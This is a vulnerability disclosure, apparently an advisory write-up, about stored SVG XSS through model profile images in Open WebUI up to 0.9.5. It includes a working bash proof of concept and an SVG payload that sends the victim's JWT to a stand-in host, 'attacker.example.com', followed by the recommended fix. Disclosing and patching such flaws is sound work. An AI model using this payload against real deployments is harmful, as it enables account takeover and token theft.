Open WebUI EUVD-2026-38529

Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc

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TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.

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Past of the issue

In early 2025, two security advisories landed for Open WebUI:

• GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
• GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.

The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.

Except there was a fourth endpoint.

The Gap

Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:

# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    description: Optional[str] = None
    capabilities: Optional[dict] = None
    model_config = ConfigDict(extra='allow')

No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....

The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:

# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
    header, base64_data = profile_image_url.split(',', 1)
    image_data = base64.b64decode(base64_data)
    image_buffer = io.BytesIO(image_data)
    media_type = header.split(';')[0].lstrip('data:')

    headers = {'Content-Disposition': 'inline'}
# ...
    return StreamingResponse(
        image_buffer,
        media_type=media_type,
        headers=headers,
    )

No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.

Compare this with the patched user endpoint:

# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
# <-- ABSENT in models.py
    return FileResponse(f'{STATIC_DIR}/user.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
# <-- ABSENT in models.py
    },
)

The fix exists. It just was never applied here.

Comparison Table

Three Write Vectors

The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:

1. POST /api/v1/models/create (line 195) any user with workspace.models permission
2. POST /api/v1/models/update (line 581) model owner or admin
3. POST /api/v1/models/import (line 279) admin only

The workspace.models permission is enabled by default for all non-pending users in a standard deployment.

The Attack

Step 1 Store the payload:

SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
      \"description\": \"Latest GPT-4 Turbo model\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

Step 2 Victim navigates to the image URL:

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview

This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).

Step 3 Token theft:

The server responds:

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
  </script>
</svg>

No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.

PoC

#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5

TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal"
# attacker-controlled listener
# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
  </script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"
# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof - SVG served inline, no defenses):

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline

<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>

No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document - e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

Root Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.

Recommended Fix

Input side add the validator to ModelMeta:

# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url

class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
# ...

    @field_validator('profile_image_url', mode='before')
    @classmethod
    def check_profile_image_url(cls, v):
        if v is None:
            return v
        return validate_profile_image_url(v)

Output side add MIME check and nosniff to the serving endpoint:

# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
    return FileResponse(f'{STATIC_DIR}/favicon.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
    },
)

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.